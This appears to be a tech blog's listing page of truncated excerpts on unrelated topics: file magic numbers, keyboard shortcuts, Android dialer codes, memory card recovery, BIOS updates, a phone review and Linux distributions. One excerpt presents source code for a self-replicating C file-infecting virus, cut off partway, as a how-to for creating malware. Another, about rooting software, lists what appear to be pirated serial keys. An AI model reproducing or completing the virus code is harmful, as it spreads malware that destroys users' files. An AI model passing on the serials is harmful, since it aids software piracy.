Info And World

Ever since the first person wrote out 5318008 on a calculator, nerds have been hiding secret numbers inside of your PC, and using them to negotiate secret handshakes between applications and files. Today we take a quick look at some of the more entertaining examples. What are Magic Numbers? Most programming languages use a 32-bit integer type to represent certain types of data behind the scenes — internally the number is stored in RAM or used by the CPU as 32 ones and zeros, but in the source code it would be written out in either regular decimal format, or as hexadecimal format, which uses the numbers 0 through 9 and the letters A through F. When the operating system or an application wants to determine the type of a file, it can look to the beginning of the file for a special marker that signifies the type of the file. For instance, a PDF file might start with the hex value 0x255044462D312E33, which equals “%PDF-1.3” in ASCII format, or a ZIP file starts with 0x...

Keyboard Maybe you never ask - questions, any key combination on the computer  keyboard ...??? Actually on a computer  keyboard  key combination helps us accelerate our work preformance in typing or any other. Without talking again Immediately, I love to know your computer  keyboard  key combination. PRINT SCREEN: Allows you to capture whatever is on screen computer monitor anda. ALT + PRINT SCREEN: useful for photographing (capture) the last active window on your computer screen and save it to Clipboard. CTRL + C: Useful for Copy items already at the click (File) or in blocks (in Microsoft Word). CTRL + X: Allows you to move item. CTRL + V: Useful to print or paste the item after the copy. CTRL + Z: Allows you to cancel or return to the original. DELETE: Allows you to delete the item and move it to the Recycle Bin. (This will be different when we use it in the Folder flash). SHIFT + DELETE: Allows you to delete the selected item permanently with...

1. Complete Information About your Phone   *#*#4636#*#*  This code can be used to get some interesting information about your phone and battery. It shows following 4 menus on screen: Phone information Battery information ( How to maximize or boost Battery life in android phones) Battery history Usage statistics 2. Factory data reset *#*#7780#*#* This code can be used for a factory data reset. It’ll remove following things: Google account settings stored in your phone System and application data and settings Downloaded applications It’ll NOT remove: Current system software and bundled application SD card files e.g. photos, music files, etc. Note: Once you give this code, you get a prompt screen asking you to click on “Reset phone” button. So you get a chance to cancel your operation. 3. Format Android Phone   *2767*3855# Think before you give this code. This code is used for factory format. It’ll remove all files and settings...

Like a bad vending machine that takes your money without coughing up the product, a damaged memory card can seemingly eat your data. In some cases, you may be able to stick your hand down the card's proverbial throat and get it to cough up data that you have saved on it. The first thing to do is test the memory card using a USB memory card reader and your computer to see if it will recognize the card. If your computer system doesn't recognize the damaged memory card, use the Windows "chkdsk" program to repair it. Step  1 Insert your memory card into a USB memory card reader. Plug the data cable for the USB adapter into a USB port on your computer. Windows automatically recognizes the device and assigns a drive letter to it. Double-click on the drive letter that Windows assigned to the device. If you can access your data, the card is working. Step  2 Click the Windows orb on your taskbar, if nothing happens or you receive an error message when you double-click t...

Hey Guy's this software is very use full for root your device and but remember that will using this software plz connect internet to your PC & laptop. Seriales !  URPTKVMURDKBFEYNOFUK  URPAVBLGBLSHNNFYOQKI 

Your computer's BIOS (Basic Input/Output System) is the first software your PC loads. It sets the stage for your operating system, so to speak, by finding all your PC's various hardware components and letting the operating system know it can use them. As with any software, your computer or motherboard manufacturer periodically updates the BIOS to fix bugs, add compatibility with new devices, improve caching functions, and make several other hardware tweaks that can speed up your boot time and fix annoying issues. These updates are available at the manufacturer's site. But if you make a mistake in the update process, you risk rendering your PC unbootable. Here's how to make sure your BIOS update goes without a hitch. Step 1: Identify your current BIOS version. Check your BIOS version, without restarting your PC, by using msinfo32.exe (as described in the text). The easiest way to find your BIOS version is to open up the System Information app in Windows--just ty...

Advantages of Lenovo Vibe P1m: Lenovo Vibe P1m comes with latest Android OS, v5.1(Lollipop) Presents 5.0-inch IPS capacitive touchscreen and Multitouch with it It Provides 2 GB RAM and mechanized with 1.0 GHz Quad Core Processor. Brings an internal memory of 16 GB and expandable memory via microSD, up to 32 GB supported Supports optional Dual-SIM feature. Comes with 8 MP rear camera and 5 MP front facing camera and with additional features like autofocus, LED flash. Supports almost all connectives like Wi-Fi, Bluetooth, USB, 3G, 4G. It comes with Document viewer, Photo/video editor, Fast battery charging, Active noise cancellation with dedicated mic features. 4,000 mAh battery capacity which is extraordinary for this range mobile supports rich no. of Sensors like Accelerometer, proximity, compass Performance is superb with no lags. Design is good and attractive. Disadvantages of Lenovo Vibe P1m: This is a Non Removable Battery Device. Average Main Camera...

This program is an example of how to  create a computer virus  in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory. Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on. Here’s the source code of the virus program: #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*) while(!done) { virus=fopen(_argv[0],"rb"); host=fopen(ffblk.ff_name,"rb+"); if(host==NULL) goto next; x=89088; printf("Infecting...

48 SHARES Tweet   Share   Share   Pin it   Share 25+ Best Different Linux Distributions; From Gaming to Hacking RAJA CRN   JANUARY 24, 2015 In this Post, Our search for the Best Linux Distros for Beginners to Advanced users has just begun. Here, We have collected and filtered out the best of the Linux Distros from the huge list of Linux Distributions out there for Linux world. The question of which Linux Distro is Suitable for New user often arise. It’s fairly tough question to answer. It’s because, you have to know who is the New User and what they want from the Linux Based Operating System. Different Distros offer different customization and various features. All Linux Distros have same Linux Kernel at its core and develop their own product out from there. Unlike Windows and Mac OS, In Linux, you have a lots of choices to make your Operating system based on your Interest. Here’s our list of best Linux Distros for beginner...